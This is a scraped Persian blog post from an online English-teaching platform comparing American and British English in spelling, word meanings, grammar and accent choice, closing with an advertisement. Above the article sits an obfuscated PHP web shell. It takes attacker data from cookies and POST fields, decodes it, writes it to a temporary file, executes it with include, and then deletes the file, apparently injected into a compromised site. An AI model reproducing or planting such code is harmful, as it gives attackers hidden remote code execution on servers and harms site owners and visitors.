$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();} تفاوت‌های زبان انگلیسی در آمریکا و بریتانیا | وبلاگ اتیچر
skip to Main Content

تفاوت‌های زبان انگلیسی در آمریکا و بریتانیا

تفاوت‌های-زبان-انگلیسی-در-آمریکا-و-بریتانیا
زمان مطالعه: ۴ دقیقه

تفاوت‌های زبان انگلیسی در آمریکا و بریتانیا تا حدی نیاز به دقت و دانش بالا دارد به این دلیل که بسیاری از مهاجران از جمله مهاجران ایرانی متوجه این تفاوت نیستند و گاهی به اشتباه کلماتی را به زبان می‌آورند که به لحاظ قاعده زبانی درست نیستند.

این عدم تشخیص تفاوت به نوعی می‌تواند یک ایراد و نقص در صحبت کردن به زبان انگلیسی باشد که بهتر است در مورد آن دقت کافی داشته باشیم و قادر باشیم به یک لهجه خاص مسلط شویم تا به خوبی بتوانیم لهجه‌ها و سایر تفاوت‌های این دو زبان را از هم تشخیص دهیم.

فهرست بخش ها

 زبان انگلیسی در امریکا و انگلیس

بیشترین و قابل توجه‌ترین تفاوت بین زبان انگلیسی در امریکا و بریتانیا به خاطر تلفظ بسیاری از کلمات است . شاید درظاهر برخی از آن‌ها هیچ تفاوتی نداشته باشند اما دارای تفاوت‌های تقریبا جزیی هستند که باید به هنگام صحبت کردن آن‌ها را رعایت کرد که مجموع این قواعد نشان دهنده تسلط زبان آموز بر زبان انگلیسی خواهد بود.

در بیشتر مواقع مخصوصا در مورد افراد مبتدی که قصد دارند زبان را فرا بگیرند، عدم دانش درمورد این جزییات موجب می‌شود که در شروع  یادگیری زبان دچار اشتباه و گمراهی شوند و به هنگام دیدن فیلم یا اخبار انگلیسی نتوانند تفاوت‌ها را به درستی تشخیص دهند و در نهایت در یک ابهام تلفظ زبانی قرار بگیرند.

البته که در بین زبان آموزان، مدرسان و آموزشگاه‌های مختلف نظر و عقاید متفاوتی موجود هست و برخی اعتقاد دارند که زبان انگلیسی بریتانیایی نسبت به امریکایی سخت است و یا بالعکس.

اما موضوع مهمی که درمورد تفاوت‌های زبان انگلیسی در امریکا و بریتانیا بسیار حائز اهمیت است این است که این دو زبان یک سری قواعد جزئی و مهم دارند که اگر به همگی آن‌ها مسلط شوید، به مرور می‌توانید این تفاوت‌ها را تشخیص دهید و در یادگیری زبان با سرعت بیشتر و بهتری عمل کنید.

به برخی از آن‌ها در ادامه اشاره می‌کنیم.

تفاوت املایی برخی کلمات در این دو زبان

البته تعداد این کلمات خیلی زیاد نیست اما به عنوان کسی که قصد دارید زبان را به درستی فرا بگیرید و به راحتی بتوانید تفاوت این دو زبان را از هم تشخیص دهید بهتر است که این تعداد کلمات را بدانید و با املای آن‌ها آشنایی داشته باشید.

مثلا شما در زبان انگلیسی بریتانیایی کلمه Colour را بدین صورت می‌نویسید اما در زبان انگلیسی آمریکایی آن را به این صورت یعنی color  می‌نویسند.

معنای متفاوت کلمه‌های مشابه

این نوع کلمات معمولا برای شروع زبان آموزان مبتدی دشوار است اما چند بار که از آن‌ها در جملات و رایتینگ یا اسپیکینگ استفاده کنید، کم‌کم تفاوت این کلمات را متوجه خواهید شد و می‌توانید به درستی زبان را فرا بگیرید.

Casual young female student handwriting information on diary notebook while reading book and work on laptop computer with white cup of coffee on the table at home.

مثلا لغت mean  را در نظر بگیرید. این کلمه در زبان بریتانیایی به معنای خسیس می‌باشد ولی در زبان آمریکایی به معنای بد اخلاق می‌باشد.

معنای یکسان با نوشتار متفاوت

شاید تفاوت‌های زبان انگلیسی در امریکا و بریتانیا برای شما جالب باشد که برخی از آن‌ها بدین صورت است که نوشتار متفاوتی دارند اما در عوض معنای یکسانی دارند.

مثلا candy  به زبان آمریکایی و sweet  به زبان بریتانیایی به معنای شیرینی و شکلات هستند.ا ین لغات تقریبا زیاد نیستند اما همانطور که گفته شد برای یادگیری بهتر و درک این تفاوت‌ها باید آن‌ها را به درستی فرا بگیرید.

تفاوت گرامر این دو زبان

تفاوت گرامر بین دو زبان امریکایی و بریتانیایی شاید خیلی وسیع و گسترده نباشد، اما تا حدی این تفاوت وجود دارد و اگر شما قصد دارید که زبان را به صورت اصولی و دقیق یاد بگیرید، باید این تفاوت‌های جزیی را در نظر داشته باشید که در رایتینگ و اسپیکینگ دچار اشتباه نشوید.

تفاوت انگلیسی بریتانیا و آمریکا؛ تفاوت دو خانه مشابه در سرزمین زبان‌

  انتخاب لهجه امریکایی یا بریتانیایی

در مورد انتخاب این نوع زبان نمی‌توان نتیجه گرفت که کدام یک بهتر است یا یکی بر دیگری ارجحیت دارد. هر دو زبان شیرین هستند و این شما هستید که بر اساس نیاز یکی از این دو را انتخاب می‌کنید. ممکن است شما قصد مهاجرت به کشورهای امریکایی را داشته باشید و طبیعتا یادگیری زبان انگلیسی با لهجه امریکایی برای شما بهتر باشد و یا به هر دلیل دیگری که انتخاب آن بر عهده خودتان است.

یادگیری منظم

برای درک تفاوت‌های زبان انگلیسی در امریکا و بریتانیا بهتر است که تصمیم خود را به صورت جدی بگیرید و برای یادگیری هر یک اقدامات درست را پیش رو داشته باشید. یعنی سعی کنید از استاد زبان متبحر کمک بگیرید و آموزشگاهی ثبت نام کنید که با ارائه برنامه مدون و پشتیبانی همیشگی شما را در یادگیری هر یک از این لهجه‌ها یاری دهد.

پلتفرم آموزش آنلاین زبان اٌتیچر

آموزش زبان آنلاین اٌتیچر مخصوص افرادی است که به دنبال اساتید ماهر در تدریس هستند که به راحتی در مدت زمان معین می‌توانند لهجه‌های مخصوص به زبان بریتانیایی و امریکایی را به زبان آموزان اموزش دهند.

در کنار اساتید با مدارج علمی بالا از پشتیبانی همه روزه در طول هفته برخودار خواهید بود و از شروع کلاس‌های آنلاین که از ساعت ۷ صبح تا ۱۲ شب می‌باشد، می‌توانید در هر ساعتی که خواستید کلاس مربوط به خود را شرکت کنید.

 

 

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search